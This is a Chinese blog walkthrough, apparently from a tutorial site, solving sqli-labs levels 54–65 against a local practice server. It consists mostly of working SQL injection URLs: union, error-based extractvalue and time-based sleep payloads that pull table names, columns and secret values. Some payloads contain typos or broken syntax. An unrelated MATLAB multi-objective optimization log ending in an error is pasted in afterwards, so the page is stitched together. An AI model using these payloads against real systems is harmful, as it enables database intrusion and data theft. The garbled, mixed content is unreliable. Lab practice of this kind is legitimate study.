LESS-54-55-56-57-58-59-60-61-62-63-64-65

本文详细介绍了一系列SQL注入攻击的实战案例,包括字符型注入、联合注入、报错注入及盲注等,展示了如何利用不同的闭合方式和SQL语句来获取数据库信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

LESS-54
此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察
的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的
减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
因为已经知道了数据库名字叫做 challenges,所以我们需要知道表名 在这里插入图片描述

输入:
?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27–+
爆出了表名:dcifd0ca0t;
在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-54/
?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27dcifd0ca0t%27–+在这里插入图片描述
我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_O8GE 列中,所以我们直接查看该列的内容

输入:http://127.0.0.1/sqlilabs/Less-54/?id=-1’union select 1,2,group_concat(secret_P0F0) from challenges.dcifd0ca0t--+在这里插入图片描述
LESS-55
本题与上一题的不同为闭合方式不同。在这里插入图片描述输入:http://127.0.0.1/sqlilabs/Less-55/?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-55/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘5d48supt0s’–+在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-55/?id=-1)%20union%20select%201,2,group_concat(secret_R35V)%20from%20challenges.5d48supt0s–+在这里插入图片描述
LESS-56
与前面2题的方式相同,只是sql不同,不做详解在这里插入图片描述
LESS-57在这里插入图片描述
这里的sql虽然没有闭合但是,前面已经有双引号的处理了。

输入:http://127.0.0.1/sqlilabs/Less-57/?id=-1"%20union%20select%201,2,group_concat(table_name)%20from information_schema.tables where table_schema=‘challenges’–+在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-57/?id=-1"%20union%20select%201,2,group_concat(column_name)%20from information_schema.columns where table_name=‘5d48supt0s’–+在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-57/?id=-1"%20union%20select%201,2,group_concat(secret_R35V)%20fromchallenges.5d48supt0s–+在这里插入图片描述
LESS-58
执行 sql 语句后,并没有返回数据库当中的数据,所以我们这里不能使用 union 联合注入,这里使用报错注入在这里插入图片描述

输入:http://127.0.0.1/sqlilabs/Less-58/?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-58/?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘7mu71b84nt’),0x7e))–+在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-58/?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(secret_3ZLC) from challenges.7mu71b84nt),0x7e))–+在这里插入图片描述
Less-59
本题就闭合方式与上一题有所不同,不做详解在这里插入图片描述
LESS-60
也是比和方式有所不同。
在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-60/?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=‘challenges’),0x7e))–+在这里插入图片描述
Less-61
闭合方式有些特殊在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-61/?id=-1’)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-61/?id=-1’)) and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘2wdgbim8tv’),0x7e))–+在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-61/?id=-1’)) and extractvalue(1,concat(0x7e,(select group_concat(secret_G7QO) from challenges.2wdgbim8tv),0x7e))–+在这里插入图片描述
LESS-62
这里union注入和报错注入都不行在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-62/?id=1’)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+在这里插入图片描述
正确会很快,而出现错误会等待10秒。

LESS-63
只是闭合方式有所不同在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-63/?id=1’and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’,1,1))=77,0,sleep(10))–+在这里插入图片描述
LESS-64
只是闭合方式不同,不做详解在这里插入图片描述
LESS-65
只是闭合方式不同在这里插入图片描述
输入:http://127.0.0.1/sqlilabs/Less-65/?id=1") and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%2
7),1,1))=79,0,sleep(10))–+在这里插入图片描述

>> untitled2 数据准备完成,共10个区域 开始多目标优化,决策变量数: 100 Multi-objective optimization: 100 Variable(s) 11 Nonlinear inequality constraint(s) Options: CreationFcn: @gacreationuniform CrossoverFcn: @crossoverintermediate SelectionFcn: @selectiontournament MutationFcn: @mutationadaptfeasible Average Average Generation Func-count Pareto distance Pareto spread 1 201 1 1 2 401 0 0 3 601 0 0 4 801 0 0 5 1001 0 0 6 1201 0 0 7 1401 0 0 8 1601 0 0 9 1801 0 0 10 2001 0 0 11 2201 0 0 12 2401 0 0 13 2601 0 0 14 2801 0 0 15 3001 0 0 16 3201 0 0 17 3401 0 0 18 3601 0 0 19 3801 0 0 20 4001 0 0 21 4201 0 0 22 4401 0 0 23 4601 0 0 24 4801 0 0 25 5001 0 0 26 5201 0 0 27 5401 0 0 28 5601 0 0 29 5801 0 0 30 6001 0 0 Average Average Generation Func-count Pareto distance Pareto spread 31 6201 0 0 32 6401 0 0 33 6601 0 0 34 6801 0 0 35 7001 0 0 36 7201 0 0 37 7401 0 0 38 7601 0 0 39 7801 0 0 40 8001 0 0 41 8201 0 0 42 8401 0 0 43 8601 0 0 44 8801 0 0 45 9001 0 0 46 9201 0 0 47 9401 0 0 48 9601 0 0 49 9801 0 0 50 10001 0 0 51 10201 0 0 52 10401 0 0 53 10601 0 0 54 10801 0 0 55 11001 0 0 56 11201 0 0 57 11401 0 0 58 11601 0 0 59 11801 0 0 60 12001 0 0 Average Average Generation Func-count Pareto distance Pareto spread 61 12201 0 0 62 12401 0 0 63 12601 0 0 64 12801 0 0 65 13001 0 0 66 13201 0 0 67 13401 0 0 68 13601 0 0 69 13801 0 0 70 14001 0 0 71 14201 0 0 72 14401 0 0 73 14601 0 0 74 14801 0 0 75 15001 0 0 76 15201 0 0 77 15401 0 0 78 15601 0 0 79 15801 0 0 80 16001 0 0 81 16201 0 0 82 16401 0 0 83 16601 0 0 84 16801 0 0 85 17001 0 0 86 17201 0 0 87 17401 0 0 88 17601 0 0 89 17801 0 0 90 18001 0 0 Average Average Generation Func-count Pareto distance Pareto spread 91 18201 0 0 92 18401 0 0 93 18601 0 0 94 18801 0 0 95 19001 0 0 96 19201 0 0 97 19401 0 0 98 19601 0 0 99 19801 0 0 100 20001 0 0 101 20201 0 0 102 20401 0 0 Infeasible individuals are present in the final population. Optimization terminated: average change in the spread of Pareto solutions less than options.FunctionTolerance. Constraints are not satisfied within constraint tolerance. 最优调度方案选择结果: 调度矩阵: 0 0 2 1 1 0 0 1 2 0 1 0 0 2 1 1 0 0 0 1 2 0 1 2 2 0 0 0 0 1 0 0 1 0 0 0 2 0 2 0 0 0 1 0 0 0 0 0 2 0 1 1 0 1 1 0 0 0 1 0 0 0 1 2 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 1 0 1 0 0 1 0 0 1 1 0 0 0 0 0 1 0 0 0 错误使用 untitled2>multiObjective 输出参数太多。 出错 untitled2 (第 85 行) [gap, transport, maint] = multiObjective(x_opt(idx,:), ...
最新发布
06-30
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值